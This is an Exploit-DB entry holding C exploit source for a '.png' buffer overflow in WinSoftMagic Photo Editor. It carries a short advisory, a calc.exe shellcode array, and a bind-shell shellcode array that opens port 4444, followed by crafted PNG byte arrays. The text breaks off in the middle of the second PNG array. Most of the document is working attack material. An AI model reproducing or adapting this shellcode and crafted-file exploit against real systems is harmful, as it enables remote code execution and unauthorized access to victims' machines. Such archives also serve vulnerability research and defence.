Exploit-DB #33829
Description: WinSoftMagic Photo Editor - '.png' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-04-09
Author: eidelweiss

Exploit:
// source: https://www.securityfocus.com/bid/39354/info

WinSoftMagic Photo Editor is prone to a remote buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

Successful exploits may allow an attacker to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will likely result in denial-of-service conditions. 

/***************************************************************\
 *	WinSoftMagic Photo Editor .PNG File Buffer Overflow	*
 *								*
 * This sploit runs calc.exe or bind to port 4444.		*
 * Tested On Win XP SP2 & Win VisTa 2008			*
 * Code & Discovered By: eidelweiss				*
 *								*
 *	This Made For Educational purpose only			*
 *	Author will not responsible for any damage		*
 *								*
 *								*
 * Thank`s: JosS,r0073r & 0x1D (Inj3ct0r.com),exploit-db,sp3x	*
 *								*
\***************************************************************/
 
#include "stdio.h"
#include "stdlib.h"
 
/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=164 */
unsigned char CalcShellcode[] =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26"
"\x45\x32\xe3\x83\xeb\xfc\xe2\xf4\xda\xad\x76\xe3\x26\x45\xb9\xa6"
"\x1a\xce\x4e\xe6\x5e\x44\xdd\x68\x69\x5d\xb9\xbc\x06\x44\xd9\xaa"
"\xad\x71\xb9\xe2\xc8\x74\xf2\x7a\x8a\xc1\xf2\x97\x21\x84\xf8\xee"
"\x27\x87\xd9\x17\x1d\x11\x16\xe7\x53\xa0\xb9\xbc\x02\x44\xd9\x85"
"\xad\x49\x79\x68\x79\x59\x33\x08\xad\x59\xb9\xe2\xcd\xcc\x6e\xc7"
"\x22\x86\x03\x23\x42\xce\x72\xd3\xa3\x85\x4a\xef\xad\x05\x3e\x68"
"\x56\x59\x9f\x68\x4e\x4d\xd9\xea\xad\xc5\x82\xe3\x26\x45\xb9\x8b"
"\x1a\x1a\x03\x15\x46\x13\xbb\x1b\xa5\x85\x49\xb3\x4e\x3b\xea\x01"
"\x55\x2d\xaa\x1d\xac\x4b\x65\x1c\xc1\x26\x53\x8f\x45\x6b\x57\x9b"
"\x43\x45\x32\xe3";
 
/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 */
unsigned char BindShellcode[] =
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf7"
"\x82\xf8\x80\x83\xeb\xfc\xe2\xf4\x0b\xe8\x13\xcd\x1f\x7b\x07\x7f"
"\x08\xe2\x73\xec\xd3\xa6\x73\xc5\xcb\x09\x84\x85\x8f\x83\x17\x0b"
"\xb8\x9a\x73\xdf\xd7\x83\x13\xc9\x7c\xb6\x73\x81\x19\xb3\x38\x19"
"\x5b\x06\x38\xf4\xf0\x43\x32\x8d\xf6\x40\x13\x74\xcc\xd6\xdc\xa8"
"\x82\x67\x73\xdf\xd3\x83\x13\xe6\x7c\x8e\xb3\x0b\xa8\x9e\xf9\x6b"
"\xf4\xae\x73\x09\x9b\xa6\xe4\xe1\x34\xb3\x23\xe4\x7c\xc1\xc8\x0b"
"\xb7\x8e\x73\xf0\xeb\x2f\x73\xc0\xff\xdc\x90\x0e\xb9\x8c\x14\xd0"
"\x08\x54\x9e\xd3\x91\xea\xcb\xb2\x9f\xf5\x8b\xb2\xa8\xd6\x07\x50"
"\x9f\x49\x15\x7c\xcc\xd2\x07\x56\xa8\x0b\x1d\xe6\x76\x6f\xf0\x82"
"\xa2\xe8\xfa\x7f\x27\xea\x21\x89\x02\x2f\xaf\x7f\x21\xd1\xab\xd3"
"\xa4\xd1\xbb\xd3\xb4\xd1\x07\x50\x91\xea\xe9\xdc\x91\xd1\x71\x61"
"\x62\xea\x5c\x9a\x87\x45\xaf\x7f\x21\xe8\xe8\xd1\xa2\x7d\x28\xe8"
"\x53\x2f\xd6\x69\xa0\x7d\x2e\xd3\xa2\x7d\x28\xe8\x12\xcb\x7e\xc9"
"\xa0\x7d\x2e\xd0\xa3\xd6\xad\x7f\x27\x11\x90\x67\x8e\x44\x81\xd7"
"\x08\x54\xad\x7f\x27\xe4\x92\xe4\x91\xea\x9b\xed\x7e\x67\x92\xd0"
"\xae\xab\x34\x09\x10\xe8\xbc\x09\x15\xb3\x38\x73\x5d\x7c\xba\xad"
"\x09\xc0\xd4\x13\x7a\xf8\xc0\x2b\x5c\x29\x90\xf2\x09\x31\xee\x7f"
"\x82\xc6\x07\x56\xac\xd5\xaa\xd1\xa6\xd3\x92\x81\xa6\xd3\xad\xd1"
"\x08\x52\x90\x2d\x2e\x87\x36\xd3\x08\x54\x92\x7f\x08\xb5\x07\x50"
"\x7c\xd5\x04\x03\x33\xe6\x07\x56\xa5\x7d\x28\xe8\x07\x08\xfc\xdf"
"\xa4\x7d\x2e\x7f\x27\x82\xf8\x80";
 
char png_file_part1[] =
"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52"
"\x00\x00\x01\xfd\x00\x00\x01\xb6\x08\x03\x00\x00\x00\x42\x8d\xaf"
"\x15\x00\x00\x00\x07\x74\x49\x4d\x45\x07\xd7\x04\x0f\x10\x10\x15"
"\x55\x35\x65\x6b\x00\x00\x44\x09\x70\x48\x59\x73\x00\x00\x1e\x9a"
"\x00\x00\x1e\x9a\x01\xfc\x6f\x28\xf8\x00\x00\x00\x04\x67\x41\x4d"
"\x41\x00\x00\xb1\x8f\x0b\xfc\x61\x05\x00\x16\x00\x60\x50\x4c\x54"
"\x45\xff\xff\xff\xf1\xe9\xe6\xfa\xf7\xf3\xec\xe5\xde\xcc\x50\xcc"
"\xd9\xd9\xd9\xe0\xe9\xef\xa6\xc4\xd9\xac\xb4\xb4\x8c\xb6\xd5\x13"
"\x6e\xb6\x73\xa9\xd2\xc6\xd5\xdd\x2e\x80\xbc\x50\x94\xc5\xfa\xf2"
"\xe6\xbc\xd7\xea\x33\x33\x33\x4d\x4b\x48\x99\x99\x99\x70\x70\x70"
"\x8c\x8c\x8c\x1b\x1b\x19\x00\x68\xb4\xf0\xc9\xb4\xe5\x98\x3a\xf0"
"\x92\x6c\xef\xe0\xd3\xef\xb4\x98\xef\x64\x2e\xf7\xad\x32\xab\x85"
"\x38\xc4\x47\x14\xfc\x00\x00\x47\x49\x49\x44\x41\x54\x78\xda\xed"
"\x5d\x89\x82\xab\x2a\x0c\x55\xdc\xaa\x56\xad\x76\x9d\x2e\x77\xfe"
"\xff\x2f\x5f\x12\xd0\xba\x80\x80\xda\x76\x66\x9e\xe7\xbd\xdb\x76"
"\x5c\x50\x38\x10\x92\x10\xc0\x71\x56\xac\x58\xb1\x62\xc5\x8a\x15"
"\x2a\xb0\x4f\xbf\xc0\xff\x1d\x41\xd0\xfc\xdc\x54\xaf\x7a\x88\x5f"
"\x01\x8e\x3e\x3d\xc4\xe5\x8f\x3d\x30\xc7\xab\xca\xd2\xff\x74\xfe"
"\xff\xdf\x38\x3c\x29\xdf\x9c\x5e\xf5\x90\xe3\x69\x7f\x3c\x54\xa7"
"\xc3\xf3\x79\x9c\x6d\xb1\xea\xe0\x1f\x4f\xc1\xbc\x94\x57\xcc\x81"
"\x77\xaa\xcb\xdf\x75\x37\x25\xb4\x49\x4f\x9c\x60\x81\x10\xcb\x1e"
"\x36\x56\x57\x5c\x54\x1f\x6c\x2e\x6b"
;
 
char png_file_part2[] =
"\xcc\x34\xa7\xcc\xe0\xd6\xcc\xea\x1f\xcc\x91\x28\x65\x4f\x47\x1a"
"\x08\x07\x40\x5d\xc2\x00\xe1\xbc\xbf\x0a\xff\x0f\xe2\x70\xa0\xc6"
"\xe8\x55\xc7\x72\xb3\x29\xfd\xb2\x2a\x2b\x24\x9a\x1d\xe0\xd7\x01"
"\x45\x36\x1c\x77\x5c\x90\xdb\xe5\x1e\xaf\x2e\xe1\x2f\xfc\x82\x03"
"\x28\xb3\x37\xf8\x23\xc0\x3e\x03\x7e\xd1\x29\xba\x91\x92\x38\x62"
"\x0a\x82\xdb\x63\xdd\xe0\x5d\x78\x20\xa6\x0b\xec\x33\x46\x3f\x56"
"\x7c\x0e\xee\x29\x70\xb1\xf1\x7b\x27\x60\x6c\x73\x2a\x37\xcc\x3b"
"\xe0\xdf\xc8\x29\x54\x05\xe0\xeb\xe0\x39\x40\x93\xc7\xfc\xf2\x08"
"\x17\xb8\x9b\x0d\x9e\xf4\x99\x8b\x32\x7b\x73\xda\xd4\x3f\xe0\xd0"
"\xe6\x84\x97\x56\x01\x0b\x8e\x25\xb0\x7c\xf2\x59\x70\x28\x39\xfd"
"\x82\x7d\x07\x2a\xc8\xe1\xc0\x4e\x7b\x62\x1f\x13\x5f\x5b\xfe\x27"
"\x81\x0d\xff\x70\x40\xf6\x7d\xec\xf7\x7d\x71\x6c\x5f\xe2\x0f\x76"
"\xf2\x03\xac\x0a\xbc\xab\x76\x4b\x17\xdb\xae\x23\x4e\x3a\x1e\x34"
"\x5e\x6c\xed\x48\xed\x86\xba\x8f\x6a\x53\xd3\x0c\x35\x80\x2e\x75"
"\xaa\xbd\x23\x2e\x21\x54\x47\x7c\x9a\x7f\xda\x10\xfb\x8e\x57\x96"
"\xae\xf1\xab\xae\x